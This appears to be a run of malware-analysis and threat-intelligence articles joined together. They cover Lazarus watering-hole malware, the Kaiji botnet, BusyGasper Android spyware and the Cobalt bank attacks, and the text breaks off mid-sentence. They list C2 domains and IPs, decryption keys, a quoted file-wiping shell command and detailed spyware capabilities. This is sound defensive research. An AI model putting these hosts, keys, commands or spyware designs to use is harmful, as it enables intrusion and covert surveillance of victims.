Default.rdp - bdc354506d6c018b52cb92a9d91f5f7c Default.rdp - 737478dbd1f66c9edb2d6c149432be26 Default.rdp - 5912e271b0da85ae3327d66deabf03ed Default.rdp - d209c3da192c49cecb5a7b3d0f7154ac Default.rdp - 8d8f3a0d186b275e51589a694e09e884 Default.rdp - 7ccf3ddbdb175fcfece9c4423acf07b6 **Persistence Backdoor #2** - 9b30baa7873d86f985657c3e324ac431 vsat.dll - ae79ea7dfa81e95015bef839c2327108 ssdp.dll **Domains** - abiesvc[.]com - abiesvc[.]info - abiesvc.jp[.]net - atom.publicvm[.]com - att.gdrvupload[.]xyz - authenticate.azure-drive[.]com - azureprotect[.]xyz - backup.163qiye[.]top - beenos[.]biz - bhomes[.]cc - bitcoinnews.mefound[.]com - bitflyer[.]team - blog.cloudsecure[.]space - buidihub[.]com - chemistryworld[.]us - circlecapital[.]us - client.googleapis[.]online - cloud.azure-service[.]com - cloud.globalbrains[.]co - cloud.jumpshare[.]vip - cloud.venturelabo[.]co - cloudshare.jumpshare[.]vip - coin-squad[.]co - coinbig[.]dev - coinbigex[.]com - deepmind[.]fund - dekryptcap[.]digital - dllhost[.]xyz:5600 - doc.venturelabo[.]co - doc.youbicapital[.]cc - doconline[.]top - docs.azureword[.]com - docs.coinbigex[.]com - docs.gdriveshare[.]top - docs.goglesheet[.]com - docs.securedigitalmarkets[.]co - docstream[.]online - document.antcapital[.]us - document.bhomes[.]cc - document.fastercapital[.]cc - document.kraken-dev[.]com - document.lundbergs[.]cc - document.skandiafastigheter[.]cc - documentprotect[.]live - documentprotect[.]pro - documents.antcapital[.]us - docuserver[.]xyz - domainhost.dynamic-dns[.]net - download.azure-safe[.]com - download.azure-service[.]com - download.gdriveupload[.]site - drives.googldrive[.]xyz - drives.googlecloud[.]live - driveshare.googledrive[.]xyz - dronefund[.]icu - drw[.]capital - eii[.]world - etherscan.mrslove[.]com - faq78.faqserv[.]com - fastdown[.]site - fastercapital[.]cc - file.venturelabo[.]co - filestream[.]download - foundico.mefound[.]com - galaxydigital[.]cc - galaxydigital[.]cloud - googledrive[.]download - googledrive[.]email - googledrive[.]online - googledrive.publicvm[.]com - googleexplore[.]net - googleservice[.]icu - googleservice[.]xyz - gsheet.gdocsdown[.]com - hiccup[.]shop - innoenergy[.]info - isosecurity[.]xyz - jack710[.]club - jumpshare[.]vip - kraken-dev[.]com - ledgerservice.itsaol[.]com - lemniscap[.]cc - lundbergs[.]cc - mail.gdriveupload[.]info - mail.gmaildrive[.]site - mail.googleupload[.]info - mclland[.]com - microstratgey[.]com - miss.outletalertsdaily[.]com - msoffice.qooqle[.]download - note.onedocshare[.]com - onlinedocpage[.]org - page.googledocpage[.]com - product.onlinedoc[.]dev - protect.antcapital[.]us - protect.azure-drive[.]com - protect.venturelabo[.]co - protectoffice[.]club - pvset.itsaol[.]com - qooqle[.]download - qoqle[.]online - regcnlab[.]com - reit[.]live - securedigitalmarkets[.]ca - share.bloomcloud[.]org - share.devprocloud[.]com - share.docuserver[.]xyz - share.stablemarket[.]org - sharedocs[.]xyz - signverydn.sharebusiness[.]xyz - sinovationventures[.]co - skandiafastigheter[.]cc - slot0.regcnlab[.]com - svr04.faqserv[.]com - tokenhub.mefound[.]com - tokentrack.mrbasic[.]com - twosigma.publicvm[.]com - up.digifincx[.]com - upcraft[.]io - updatepool[.]online - upload.gdrives[.]best - venturelabo[.]co - verify.googleauth[.]pro - word.azureword[.]com - www.googledocpage[.]com - www.googlesheetpage[.]org - www.onlinedocpage[.]org - youbicapital[.]cc **C2 Address Used by Backdoor** - 118.70.116[.]154:8080 - 163.25.24[.]44 - 45.238.25[.]2 - devstar.dnsrd[.]com - fxbet.linkpc[.]net - lservs.linkpc[.]net - mmsreceive.linkpc[.]net - msservices.hxxps443[.]org - onlineshoping.publicvm[.]com - palconshop.linkpc[.]net - pokersonic.publicvm[.]com - press.linkpc[.]net - rubbishshop.linkpc[.]net - rubbishshop.publicvm[.]com - socins.publicvm[.]net - vpsfree.linkpc[.]net **Update:** The domain cdn.discordapp.com was removed from the IOCs section because it is used by a legitimate service/application.
# Lazarus’ False Flag Malware **Posted by** Sergei Shevchenko - Monday, 20 February 2017 ## BACKGROUND We continue to investigate the recent wave of attacks on banks using watering-holes on at least two financial regulator websites as well as others. Our initial analysis of malware disclosed in the BadCyber blog hinted at the involvement of the 'Lazarus' threat actor. Since the release of our report, more samples have come to light, most notably those described in the Polish language niebezpiecznik.pl blog on 7 February 2017. ### MD5 Hashes and File Info | MD5 Hash | Filename | Compile Time | File Info | Submitted | |---------------------------------------------|----------------|--------------|-----------|-----------| | 9216b29114fb6713ef228370cbfe4045 | srservice.c | N/A | N/A | N/A | | 8e32fccd70cec634d13795bcb1da85ff | srservice.h | N/A | N/A | N/A | | e29fe3c181ac9ddbb242688b151f3310 | srservice.d | 2016-10-22 | Win64 DLL | 2017-01-28 | | 9914075cc687bdc352ee136ac6579707 | fdsvc.exe | 2016-08-26 | Win64 EXE | 2017-02-05 | | 9cc6854bc5e217104734043c89dc4ff8 | fdsvc.dll | 2016-08-26 | Encrypted | 2017-02-05 | | 6dffcfa68433f886b2e88fd984b4995a | cambio.swf | Adobe Flash | 2016-12-07 | Of the hashes provided, only three samples could be found in public malware repositories. All three had been submitted from Poland in recent weeks. In the analysis section below, we examine these and the ‘false flag’ approach employed by the attackers in order to spoof the origin of the attack. The same ‘false flag’ approach was also found in the SWF-based exploit mentioned in our previous blog post. ## ANALYSIS ### Sample #1 – srservice.chm Most likely, this file is an encrypted backdoor that is decrypted and injected by a DLL loader. The filename `srservice.chm` is consistent with the method in which a known Lazarus toolkit module constructs CHM and HLP file names: ``` %SYSTEMROOT%\Help\%MODULE_NAME%.chm %SYSTEMROOT%\Help\%MODULE_NAME%.hlp ``` ### Sample #2 – srservice.hlp Most likely, this file is an encrypted configuration file, which is decrypted and loaded by sample #1 (`srservice.chm`). ### Sample #3 – srservice.dll This DLL loads, decrypts, and injects the 'CHM' file into the system `lsass.exe` process. ### Sample #4 – fdsvc.exe This file is a command line tool that accepts several parameters such as encrypted file name and process ID. The tool reads and decrypts the specified file, and then injects it into the specified process or into the system process `explorer.exe`. The encryption consists of a running XOR, followed with RC4, using the 32-byte RC4 key below: ``` A6 EB 96 00 61 B2 E2 EF 0D CB E8 C4 5A F1 66 9C A4 80 CD 9A F1 2F 46 25 2F DB 16 26 4B C4 3F 3C ``` ### Sample #5 – fdsvc.dll The file `fdsvc.dll` is an encrypted file, successfully decrypted into a valid DLL (MD5: 889e320cf66520485e1a0475107d7419) by the aforementioned executable `fdsvc.exe`. Once decrypted, it represents itself as a bot that accepts the C&C name and port number(s) as a string parameter that is used to call the DLL. The parameter is encoded with an XOR loop that includes XOR key `cEzQfoPw`. Multiple C&C servers can be delimited with the '|' character and port numbers are delimited from the C&C servers with the ':' character. Once the bot has established communication with the remote C&C, it uses several transliterated Russian words to either indicate the state of its communication or issue backdoor commands, such as: | Word | State/Backdoor Command | |---------------|--------------------------------------| | "Nachalo" | start communication session | | "ustanavlivat"| handshake state | | "poluchit" | receive data | | "pereslat" | send data | | "derzhat" | maintain communication session | | "vykhodit" | exit communication session | The binary protocol is custom. For example, during the "ustanavlivat" (handshake) mode, the bot accepts 4 bytes, which are then decrypted. The decryption is a loop that involves multiple XOR operations performed over the received data. Once decrypted, the 4 bytes indicate the size of the next data chunk to be received. The next received data chunk is also decrypted, and its contents checked to see whether it's one of the backdoor commands. For example, the "poluchit" command instructs the bot to receive the file, and the "pereslat" (send) command instructs the bot to upload the file. The received "poluchit" command may also contain a URL, marked with another transliterated Russian word "ssylka" (link). In this case, the remote file is fetched in a separate thread. If a received data chunk contains the command "vykhodit", the bot quits its backdoor loop. The bot implements the SSL/TLS protocol and is based on a source code of "Curl v7.49.1". Hence, it is able to transfer files via HTTP, HTTPS, FTP, SMTP, and many other protocols, with full support of user/password authentication (Basic, Digest, NTLM, Negotiate, Kerberos), proxies, and SSL certificates. ### Russian Language Used in fdsvc.dll In spite of some 'Russian' words being used, it is evident that the malware author is not a native Russian speaker. Of our previous examples, five of the commands were likely produced by an online translation. Below we provide the examples and the correct analogues for reference: | Word | Type of Error | Correct Analogue | |---------------|----------------------------------------------------|--------------------------------------| | "ustanavlivat"| omitted sign at the end, verb tense error | "ustanovit'" or "ustanoviti" | | "poluchit" | omitted sign at the end | "poluchit'" or "poluchiti" | | "pereslat" | omitted sign at the end | "pereslat'" or "pereslati" | | "derzhat" | omitted sign at the end | "derzhat'" or "derzhati" | | "vykhodit" | omitted sign at the end, verb tense error | "vyiti" | Another example is "kliyent2podklyuchit". This is most likely a result of an online translation of "client2connect" (which means 'client-to-connect'). In this case, the two words "client" and "connect" were translated separately, then transliterated from the Russian pronunciation form into the Latin alphabet and finally joined to produce "kliyent2podklyuchit". Such a result may look impressive to the bot's author, but would be difficult to understand for native Russian speakers. Here we provide an example of translating the word "client" in Russian - the word "kliyent" here only demonstrates phonetic pronunciation, not how it's actually written in a transliterated form. When formed using the Latin alphabet, it would actually be written "client" or "klient". Due to such inconsistencies, we conclude that the Russian language is likely used as a decoy tactic, in order to spoof the malware’s country of origin. ### Sample #6 – cambio.swf During the investigation of the watering-hole incident, the owner of a compromised website shared with us a malicious implant that was added into the site, presumably by using an exploit against JBoss 5.0.0. The script is called `view_jsp.java` and is accessed from the watering-hole website as `view.jsp`. This script is responsible for serving `cambio.swf`. The infection starts from a primary website being compromised so that its visitors are redirected into a secondary website, calling its `view.jsp` script from an added IFrame. The initial request contains parameter `pagenum` set to 1, such as: `GET /[PATH]/view.jsp?pagenum=1 HTTP/1.1`. This begins the profiling and filtering to identify potential victims. For example, the script then checks to see if the client's IP is black-listed. If so, such initial request is rejected. Next, the script checks if the client’s IP is white-listed (i.e., targeted). If not white-listed, it is also rejected. Hence, unless the visitor’s IP is on the attackers’ list, the script will not attempt to infect their machine. This helps the infected websites stay undetected for a relatively long period of time, as they only serve exploits to the selected targets. In the next stage of the script, it builds and serves back to the client an HTML page with an embedded JavaScript that detects the type of client’s browser (Internet Explorer, Google Chrome, Firefox, Safari, or Opera), OS version, and the loaded plugins, such as Adobe Flash and Microsoft Silverlight. The script executed on a client side then builds a form and submits it back to the gateway script. The submitted form specifies the `pagenum` parameter to be set to 2, to advance the script to the next step. Once the script accepts the incoming request and finds the form's `pagenum` value is 2, it reads other fields from the submitted form and decides which exploit to serve back to the client. At the time of writing, the exploit kit known to serve back two exploits, for Adobe Flash and Microsoft Silverlight, though these could be expanded upon as needed. The exploits can be individually enabled or disabled by the attackers with the standalone file `config.dat`. For example, to enable both exploits (flag=1), the contents of this file can be set to: ``` 2016-0034:1 0000-0001:1 ``` If the script detects that the submitted form contains a non-empty version of the Silverlight browser plugin, it will generate and serve back a Silverlight exploit. If the submitted form has a non-empty version of the Adobe Flash browser plugin, the script will generate and serve back the Flash exploit. If the client has both plugins loaded within the browser, then the script will serve the Flash exploit only. ### Shellcode The SWF's ActionScript then loads and executes the shellcode that was passed to the SWF file. The shellcode consists of 2,372 bytes of Win32-code (in fact, 2,369 bytes padded with three zero bytes to make it 4-byte aligned). The shellcode passed via the shell parameter consists of two parts: - The first part of the shellcode (818 bytes) creates a hidden process of `notepad.exe`. It then injects the second part of the shellcode into it using the `VirtualAlloc()` and `WriteProcessMemory()` APIs, and finally it runs the injected code with `CreateRemoteThread()` API. - The second part of the shellcode (1,551 bytes) is encoded with XOR 0x57. It's worth noting that both parts of the shellcode load the APIs similarly to all other tools from the Lazarus toolset. Once decoded, the second part of the shellcode reads the URL embedded at the end, then downloads and saves a file under a temporary file name, using the prefix "tmp". Next, it reads the temporary file into memory, decrypts it, and makes the decoded data executable by assigning it `PAGE_EXECUTE_READWRITE` memory protection mode, and calls it. ### Overall Scheme The following scheme illustrates the steps outlined above: ## CONCLUSIONS Here we have analysed further files from the recent watering-hole attacks directed at Polish financial institutions and others. Evidently, the Lazarus group are continuing their campaign targeting banking networks. Their watering-hole mechanism is fairly sophisticated – its multiple stages are designed to complicate analysis of its malware distribution, and at the same, stay undetected for as long as possible. Because of the previously disclosed attribution links, the group are also resorting to some trickery. Through reverse-engineering, we can see the use of many Russian words that have been translated incorrectly. In some cases, the inaccurate translations have transformed the meaning of the words entirely. This strongly implies that the authors of this attack are not native Russian speakers and, as such, the use of Russian words appears to be a 'false flag'. Clearly, the group behind these attacks are evolving their modus operandi in terms of capabilities – but also it seems they’re attempting to mislead investigators who might jump to conclusions in terms of attribution. ## APPENDIX A: INDICATORS OF COMPROMISE ### MD5 Hashes - 9cc6854bc5e217104734043c89dc4ff8 - 9914075cc687bdc352ee136ac6579707 - e29fe3c181ac9ddbb242688b151f3310 - 9216b29114fb6713ef228370cbfe4045 - 8e32fccd70cec634d13795bcb1da85ff - 889e320cf66520485e1a0475107d7419 - 6dffcfa68433f886b2e88fd984b4995a ### Filenames - cambio.swf - cambio.xap - mark180789172360.ico - meml102783047891.dat - back283671047171.dat ### URLs - view.jsp?pagenum=1 - view.jsp?uid=
# Kaiji - A New Strain of IoT Malware Seizing Control and Launching DDoS Attacks **Smart Home** **2 min read** **Graham Cluley** **May 05, 2020** Kaiji, a new botnet campaign, created from scratch rather than resting on the shoulders of those that went before it, is infecting Linux-based servers and IoT devices with the intention of launching distributed denial-of-service (DDoS) attacks. Kaiji, named by researcher MalwareMustDie after one of the function names they observed in the malware’s code (but also the name of a series of Japanese manga comic books), is believed to have originated in China, but is now spreading slowly around the world infecting new devices. In a technical blog post, security researchers at Intezer describe how Kaiji, which unusually for an IoT botnet is written in the Go programming language, does not attempt to compromise unpatched devices by exploiting security vulnerabilities. Instead, it targets servers and ‘smart’ internet-connected devices via SSH brute forcing, taking advantage of administrators who are using weak or recycled passwords. Rather than target one specific server or IoT device with many different passwords, in Kaiji’s SSH brute-forcing attack it automatically tries one password against the ‘root’ user on countless thousands of systems that have left their SSH port open to the internet. It’s not an effective technique if a hacker has a specific target in mind, but it will certainly do if you’re happy to attack many SSH servers in the hope that you might just gain remote access to one. Once it has compromised the Linux server or IoT device, Kaiji can begin to launch DDoS attacks at the beck-and-call of its operators. It also steals any local SSH keys it finds and launches further SSH brute-force attacks to infect other exposed devices on the internet. The researchers at Intezer describe Kaiji as “simple” and “in its early stages.” Their explanation for this is that Kaiji was written from scratch, rather than reusing existing botnet code available on the internet. The expectation, however, is that Kaiji may very well be developed further and become more sophisticated over time – potentially escalating the number of devices it could hijack and the level of disruption it could cause. Furthermore, the security researchers believe that Kaiji confirms a growing trend for more online criminals to migrate to the Go language – sometimes referred to as GoLang – for their malware development rather than more common choices for IoT malware such as C and C++. Indicators of Compromise (IoCs) for Kaiji have been published on Intezer’s blog. It should go without saying that users would be wise to restrict SSH access to their servers and IoT devices wherever possible, and use unique, complex passwords. **TAGS** smart home **AUTHOR** Graham Cluley is an award-winning security blogger, researcher, and public speaker. He has been working in the computer security industry since the early 1990s.
# BusyGasper – the unfriendly spy **Authors** Alexey Firsh In early 2018, our mobile intruder-detection technology was triggered by a suspicious Android sample that, as it turned out, belonged to an unknown spyware family. Further investigation showed that the malware, which we named BusyGasper, is not all that sophisticated but demonstrates some unusual features for this type of threat. From a technical point of view, the sample is a unique spy implant with stand-out features such as device sensors listeners, including motion detectors that have been implemented with a degree of originality. It has an incredibly wide-ranging protocol – about 100 commands – and an ability to bypass the Doze battery saver. As a modern Android spyware, it is also capable of exfiltrating data from messaging applications (WhatsApp, Viber, Facebook). Moreover, BusyGasper boasts some keylogging tools – the malware processes every user tap, gathering its coordinates and calculating characters by matching given values with hardcoded ones. The sample has a multicomponent structure and can download a payload or updates from its C&C server, which happens to be an FTP server belonging to the free Russian web hosting service Ucoz. It is noteworthy that BusyGasper supports the IRC protocol, which is rarely seen among Android malware. In addition, the malware can log in to the attacker’s email inbox, parse emails in a special folder for commands, and save any payloads to a device from email attachments. This particular operation has been active since approximately May 2016 up to the present time. ## Infection vector and victims While looking for the infection vector, we found no evidence of spear phishing or any of the other common vectors. But some clues, such as the existence of a hidden menu for operator control, point to a manual installation method – the attackers used physical access to a victim’s device to install the malware. This would explain the number of victims – there are less than 10 of them, and according to our detection statistics, they are all located in Russia. Intrigued, we continued our search and found more interesting clues that could reveal some detailed information about the owners of the infected devices. Several TXT files with commands on the attacker’s FTP server contain a victim identifier in the names that was probably added by the criminals: - CMDS10114-Sun1.txt - CMDS10134-Ju_ASUS.txt - CMDS10134-Tad.txt - CMDS10166-Jana.txt - CMDS10187-Sun2.txt - CMDS10194-SlavaAl.txt - CMDS10209-Nikusha.txt Some of them sound like Russian names: Jana, SlavaAl, Nikusha. As we know from the FTP dump analysis, there was a firmware component from ASUS firmware, indicating the attacker’s interest in ASUS devices, which explains the victim file name that mentions “ASUS.” Information gathered from the email account provides a lot of the victims’ personal data, including messages from IM applications. | Gathered file | Type | Description | |---------------|-----------|--------------------------------------------------| | lock | Text | Implant log | | ldata | sqlite3 | Location data based on network (cell_id) | | gdata | sqlite3 | Location data based on GPS coordinates | | sdata | sqlite3 | SMS messages | | f.db | sqlite3 | Facebook messages | | v.db | sqlite3 | Viber messages | | w.db | sqlite3 | WhatsApp messages | Among the other data gathered were SMS banking messages that revealed an account with a balance of more than US$10,000. But as far as we know, the attacker behind this campaign is not interested in stealing the victims’ money. We found no similarities to commercial spyware products or to other known spyware variants, which suggests BusyGasper is self-developed and used by a single threat actor. At the same time, the lack of encryption, use of a public FTP server, and the low opsec level could indicate that less skilled attackers are behind the malware. ## Technical details Here is the meta information for the observed samples, certificates, and hardcoded version stamps: | Certificate | MD5 | Module | Version | |--------------------------------------------------|--------------------------------------------------|--------|--------------| | Serial Number: 0x76607c02 | 9e005144ea1a583531f86663a5f14607 | 1 | – | | Issuer: CN=Ron | | | | | Validity: from = Tue Aug 30 13:01:30 MSK 2016 | to = Sat Aug 24 13:01:30 MSK 2041 | | | | Subject: CN=Ron | | | | | 18abe28730c53de6d9e4786c7765c3d8 | 2 | 2.0 | | | Serial Number: 0x6a0d1fec | 9ffc350ef94ef840728564846f2802b0 | 2 | v2.51sun | | Issuer: CN=Sun | | | | | Validity: from = Mon May 16 17:42:40 MSK 2016 | to = Fri May 10 17:42:40 MSK 2041 | | | | Subject: CN=Sun | | | | | 6c246bbb40b7c6e75c60a55c0da9e2f2 | 2 | v2.96s | | | 7c8a12e56e3e03938788b26b84b80bd6 | 2 | v3.09s | | | bde7847487125084f9e03f2b6b05adc3 | 2 | v3.12s | | | 2560942bb50ee6e6f55afc495d238a12 | 2 | v3.18s | | It’s interesting that the issuer “Sun” matches the “Sun1” and “Sun2” identifiers of infected devices from the FTP server, suggesting they may be test devices. The analyzed implant has a complex structure, and for now, we have observed two modules. ### First (start) module The first module, which was installed on the targeted device, could be controlled over the IRC protocol and enable deployment of other components by downloading a payload from the FTP server: - **@install** command As can be seen from the screenshot above, a new component was copied in the system path, though that sort of operation is impossible without root privileges. At the time of writing, we had no evidence of an exploit being used to obtain root privileges, though it is possible that the attackers used some unseen component to implement this feature. Here is a full list of possible commands that can be executed by the first module: | Command name | Description | |--------------|-----------------------------------------------| | @stop | Stop IRC | | @quit | System.exit(0) | | @start | Start IRC | | @server | Set IRC server (default value is “irc.freenode.net”), port is always 6667 | | @boss | Set IRC command and control nickname (default value is “ISeency”) | | @nick | Set IRC client nickname | | @screen | Report every time when screen is on (enable/disable) | | @root | Use root features (enable/disable) | | @timer | Set period of IRCService start | | @hide | Hide implant icon | | @unhide | Unhide implant icon | | @run | Execute specified shell | | @broadcast | Send command to the second module | | @echo | Write specified message to log | | @install | Download and copy specified component to the system path | The implant uses a complex intent-based communication mechanism between its components to broadcast commands. ### Second (main) module This module writes a log of the command execution history to the file named “lock,” which is later exfiltrated. Below is a fragment of such a log: Log files can be uploaded to the FTP server and sent to the attacker’s email inbox. It’s even possible to send log messages via SMS to the attacker’s number. As the screenshot above shows, the malware has its own command syntax that represents a combination of characters while the “#” symbol is a delimiter. A full list of all possible commands with descriptions can be found in Appendix II below. The malware has all the popular capabilities of modern spyware. Below is a description of the most noteworthy: - The implant is able to spy on all available device sensors and to log registered events. - Moreover, there is a special handler for the accelerometer that is able to calculate and log the device’s speed. This feature is used in particular by the command “tk0” that mutes the device, disables keyguard, turns off the brightness, uses wakelock, and listens to device sensors. This allows it to silently execute any backdoor activity without the user knowing that the device is in an active state. As soon as the user picks up the device, the implant will detect a motion event and execute the “tk1” and “input keyevent 3” commands. “tk1” will disable all the effects of the “tk0” command, while “input keyevent 3” is the shell command that simulates the pressing of the ‘home’ button so all the current activities will be minimized and the user won’t suspect anything. - Location services to enable (GPS/network) tracking: - The email command and control protocol. The implant can log in to the attackers email inbox, parse emails for commands in a special “Cmd” folder, and save any payloads to a device from email attachments. Moreover, it can send a specified file or all the gathered data from the victim device via email. - Emergency SMS commands. If an incoming SMS contains one of the following magic strings: “2736428734” or “7238742800,” the malware will execute multiple initial commands. ### Keylogger implementation Keylogging is implemented in an original manner. Immediately after activation, the malware creates a textView element in a new window with the following layout parameters: All these parameters ensure the element is hidden from the user. Then it adds onTouchListener to this textView and is able to process every user tap. Interestingly, there is an allowlist of tapped activities: - ui.ConversationActivity - ui.ConversationListActivity - SemcInCallScreen - Quadrapop - SocialPhonebookActivity The listener can operate with only coordinates, so it calculates pressed characters by matching given values with hardcoded ones. Additionally, if there is a predefined command, the keylogger can make a screenshot of the tapped display area. ### Manual access and operator menu There is a hidden menu (Activity) for controlling implant features that looks like it was created for manual operator control. To activate this menu, the operator needs to call the hardcoded number “9909” from the infected device. A hidden menu then instantly appears on the device display. The operator can use this interface to type any command for execution. It also shows a current malware log. ### Infrastructure **FTP server** The attackers used ftp://213.174.157[.]151/ as a command and control server. The IP belongs to the free Russian web hosting service Ucoz. | Files | Description | |--------------------------------------|--------------------------------------------------| | CMDS*.txt | Text files with commands to execute | | supersu.apk | SuperSU tool | | 246.us | SuperSU ELF binaries | | supersu.cfg | SuperSU configs with spyware implant mention | | supersu.cfg.ju | | | supersu.cfg.old | | | bb.txt | BusyBox v1.26.2 ELF file | | bdata.xml | Config file for excluding malware components from Android battery saver feature Doze | | bdatas.apk | Main implant module | | com.android.network.irc.apk | Start implant module | | MobileManagerService.apk | ASUS firmware system component (clean) | | mobilemanager.apk | Corrupted archive | | privapp.txt | Looks like a list of system applications (including spyware components) from the infected device | | run-as.x | Run-as tool ELF file | | run-as.y | | **SuperSU config fragment for implant components and the busybox tool supersu.cfg:** This config allows the implant to use all root features silently. **Content of bdata.xml file:** It can be added to the /system/etc/sysconfig/ path to allowlist specified implant components from the battery saving system. ### Email account A Gmail account with a password is mentioned in the sample’s code. It contains the victim’s exfiltrated data and “cmd” directory with commands for victim devices. ## Appendix I: Indicators of compromise **MD5** - 9E005144EA1A583531F86663A5F14607 - 18ABE28730C53DE6D9E4786C7765C3D8 - 2560942BB50EE6E6F55AFC495D238A12 - 6C246BBB40B7C6E75C60A55C0DA9E2F2 - 7C8A12E56E3E03938788B26B84B80BD6 - 9FFC350EF94EF840728564846F2802B0 - BDE7847487125084F9E03F2B6B05ADC3 **FTP server:** ftp://213.174.157[.]151/ ## Appendix II: List of all possible commands These values are valid for the most recently observed version (v3.18s). | Decimal | Char | Description | |---------|------|-----------------------------------------------| | 33 | ! | Interrupt previous command execution | | 36 | $ | Make a screenshot | | 48 | 0 | Execute following shell: rm c/*; rm p/*; rm sdcard/Android/system/tmp/r/* (wipe environment paths?) | | 63 | ? | Log device info and implant meta information | | 66(98) | B(b) | Broadcast specified command to another component | | 67(99) | C(c) | Set specified command on timer to execute | | 68(100) | D(d) | Log last 10 tasks by getRecentTasks api | | 65(97) | A(a) | | | 68(100) | D(d) | Log info about device sensors (motion, air temperature and pressure, etc.) | | 83(115) | S(s) | | | 68(100) | D(d) | Log stack trace and thread information | | 84(116) | T(t) | | | 101 | e | Broadcast command to GPS-tracking external component | | 71(103) | G(g) | Location tracking GPS/network | | 73(105) | I(i) | Get specified file from FTP (default – CMDS file with commands) | | 73(105) | I(i) | Upload exfiltrated data | | 73(105) | I(i) | Start/stop IRC service | | 73(105) | I(i) | Send current location to IRC | | 76(108) | L(l) | | | 73(105) | I(i) | Push specified message to IRC | | 77(109) | M(m) | | | 73(105) | I(i) | Read commands from the email inbox | | 82(114) | R(r) | | | 73(105) | I(i) | Send specified file or all gathered data in email with UID as a subject | | 83(115) | S(s) | | | 76(108) | L(l) | Get info on current cell_id | | 77(109) | M(m) | Capture photo | | 77(109) | M(m) | Log information about available cameras | | 77(109) | M(m) | Start/stop audio recording (default duration – 2 minutes) | | 77(109) | M(m) | Start/stop audio recording with specified duration | | 77(109) | M(m) | Start fully customizable recording (allow to choose specific mic etc.) | | 77(109) | M(m) | Stop previous recording | | 77(109) | M(m) | Set recording duration | | 77(109) | M(m) | Capture video with specified duration and quality | **Common backdoor commands:** - 85(117) U(u) Download payload, remount “system” path and push payload there. Based on the code commentaries, this feature might be used to update implant components. - 87(119) W(w) Send SMS with specified text and number. **Updates from the newest version:** - 122 33 z ! Reboot device - 122 99 z c Dump call logs - 122 102 z f p Send gathered data to FTP - 122 102 z f g Get CMDS* text file and execute contained commands - 122 103 z g Get GPS location (without log, only intent broadcasting) - 122 108 102 z l f Dump Facebook messages during specified period - 122 108 116 z l t Dump Telegram cache - 122 108 118 z l v Dump Viber messages during specified period - 122 108 119 z l w Dump WhatsApp messages during specified period - 122 110 z n Get number of all SMS messages - 122 111 z o Set ringer mode to silent - 122 112 z p Open specified URL in webview - 122 114 z r Delete all raw SMS messages - 122 116 z t Set all internal service timers - 122 122 z z Remove shared preferences and restart the main service **Google Android** **Keyloggers** **Malware Descriptions** **Mobile Malware** **Spyware** **Targeted attacks** **Authors** Alexey Firsh
# Cobalt—a new trend or an old “friend”? Information about the so-called Cobalt group appeared quite recently, in a November 2016 report from Group-IB. According to the report, Cobalt is associated with the previously known Buhtrap campaign. Buhtrap is thought to have stolen around USD 28.5 million from Russian bank accounts in 2015 and 2016. It is suspected that either part of that group switched over to Cobalt, or that most of the Buhtrap creators redirected their efforts at ATMs. At the same time, in the fall of 2016, Positive Technologies was independently investigating an incident at a bank in Eastern Europe. The bank had experienced phishing mailings as well as compromise of internal network resources and its ATM network. All the evidence indicated that the attack was targeted. Artifacts indicated the involvement of the same organized crime group that, according to Positive Technologies information, from August to October had performed similar successful attacks in Eastern Europe, and it’s likely that this group may soon become active in the West. Analysis confirmed that the Cobalt group was responsible. This report includes the most important results of the investigation, including an example of a real-life advanced persistent threat (APT) attack that could occur at any bank. To implement the attack, the criminal group used easily available software to target some of the most common shortcomings and vulnerabilities in corporate systems, in which regard the financial sector is no exception. According to Group-IB, Buhtrap is the first criminal group to use a network worm to infect the entire infrastructure of a bank. The main vector for penetrating the bank’s corporate network consisted of phishing messages, which claimed to be from the Bank of Russia or its representatives. Malware was planted in a number of attacks via exploits, notably including the infrastructure of the Metel group. A trend has been seen in 2016 towards the use of publicly available software, legitimate penetration testing software, and standard operating system (OS) functions by attackers. One instructive example is the 2016 attacks by the Carbanak group in Eastern Europe. This group used similar tools, in addition to Metasploit. The same group is suspected in the recent hacking of PoS vendor Oracle MICROS and attacks on international banks recently reported by Symantec. By underestimating the abilities of cybercriminals, and assuming that attacks always happen to somebody else, companies fatally undermine their cybersecurity efforts. This can result in substantial financial losses. Despite the wealth of information now known about methods, tools used, and indicators of compromise, the cybercriminals continue their attacks and are looking for new ways of monetizing their efforts. Targeted attacks on banks, retailers, and financial institutions around the world are covered with increasing regularity in the media. Total losses related to such cybercrime, according to various estimates, run in the hundreds of millions of dollars. In 2017, we expect to see an increase both in the number of attacks and in related financial losses by banks—it would seem that the criminals are hitting their stride, while banks have barely even begun to play catch-up. # Opening an ATM from the inside out In early October 2016, Positive Technologies learned from a bank in Eastern Europe of a security incident that resulted in funds being stolen from bank ATMs. Total funds stolen, in the course of one night from six ATMs, were the equivalent of approximately $35,000 in local currency. Rapid response by the bank and law enforcement prevented the losses from growing. Theoretically, had the attackers continued for a longer period, they could have stolen the equivalent of over $156,000 over several days, with the amount limited only by the dispensing capabilities of the machines and number of compromised devices. Individuals acting as cut-outs (“drops”) obtained cash from ATMs. One of these drops, a citizen of Moldova, was arrested by local law enforcement in the process of withdrawing money. These drops are used by criminal groups to minimize the risk to core group members. Drops do not know any of the core group members and work only with handlers, who are responsible for gathering the cash and delivering it to the organizers. Cobalt uses so-called money mule services for laundering cash. These services attract the financially desperate with promises of easy earnings. Such services are plentiful online. The investigation performed by the Positive Technologies team showed that the theft occurred due to a compromise of the bank’s local network and installation of malware on ATMs from the bank’s internal infrastructure in August–September 2016. The malware installed on the ATMs was specialized, dispensing money from an ATM to a drop at the command of the attacker. Drops themselves did not need to perform any special manipulations of the ATM. # Can the trend be changed? Cobalt Strike as an attack tool. Attacks on bank clients are starting to take a back seat to other methods that are every bit as effective—attacking the banks themselves, or more precisely, their network infrastructure. Criminals are aware that not all financial institutions make sufficient investments in their security and often concentrate on the bare minimum of compliance at the expense of actual security. In addition, attacks on clients are limited to how much money the client has in their account. But by taking over key servers and ATM controllers, hackers can strike a much more lucrative payday. The last few years have seen a trend toward targeted attacks with social engineering and phishing messages. Most often, organizations (whether a bank, industrial concern, IT firm, or any other kind of company) concentrate on uptime in business processes, and when it comes to security, they buy and deploy various expensive solutions from outside vendors. But this approach has only middling results, closing a few of the most gaping holes in defense, while leaving untouched the weakest link in security: the human factor. Attack groups are constantly modernizing their techniques and identifying new vulnerabilities. By staying at least one step ahead of defenders, attackers set the agenda for the entire security industry. As shown by the experience of Positive Technologies, attackers tend to use commonplace tools, such as software for legitimate pentesting and built-in OS functionality. Cobalt is merely the most recent example of this trend. This applies to the attack dissected in this report as well. Criminals used commercially available software, Cobalt Strike, to perform penetration testing, including the use of the Beacon trojan. The 